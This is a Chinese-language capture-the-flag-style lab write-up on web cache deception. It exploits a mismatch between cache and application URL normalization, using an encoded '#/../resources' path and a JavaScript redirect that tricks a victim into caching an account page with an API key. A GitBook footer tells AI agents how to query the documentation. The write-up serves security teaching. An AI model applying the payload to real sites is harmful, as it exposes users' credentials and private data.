> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md).

# 通过缓存服务器端归一化欺骗缓存

### 利用缓存服务器归一化进行 Web 缓存欺骗

#### 实验目标

从用户处获取 \*\*API 密钥\*\* **carlos** 通过滥用 **URL 规范化行为** （应用和缓存服务器之间解释不同）。/ 可用连接： **wiener:peter**.

#### 初步观察

我们测试静态后缀以触发缓存：

* 测试请求：

```bash
GET /my-account~test.js
```

针对某些字符会返回不同的响应，并且服务器接受：

* `#`
* `?`
* `%23` （URL 编码用于 `#`)
* `%3f` （URL 编码用于 `?`)

<figure><img src="/files/7974589c3296547028977353252c379c8cfbb17c" alt=""><figcaption></figcaption></figure>

#### 有趣的端点也被缓存

资源目录似乎也被隐藏了：

```http
GET /resources/ HTTP/2
```

这很有用，因为我们将尝试将缓存指向 `/resources` 同时在应用上保持一条路由被解释为 `/my-account`.

<figure><img src="/files/9eea135a30236791ec3afa552397953bb5fc8054" alt=""><figcaption></figcaption></figure>

#### 技巧：Fragment + Cross（带规范化）

构造一个 URL，使应用程序继续处理 **/my-account**，但缓存会将该序列规范化/解释为产生 **/resources**.

测试：

```bash
GET /my-account#/../resources
# 编码版本（这里“通过”得最好的那个）
GET /my-account%23%2f%2e%2e%2fresources
```

关键点： **缓存服务器接受 URL 编码版本**，这会触发预期的行为。

<figure><img src="/files/1e5184b833570b44d84925a285bebffa5f631669" alt=""><figcaption></figcaption></figure>

#### 利用：强迫受害者缓存该页面

由于利用服务器，受害者会被重定向到陷阱 URL：

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>
```

{% endcode %}

#### 结果

一旦受害者经过该 URL，就会取回从缓存中提供的资源，并获得 \*\*carlos API 密钥\*\*，从而验证该实验。

<figure><img src="/files/687f35e4ddd2606a06c75b3bc23e03c1404c9a75" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
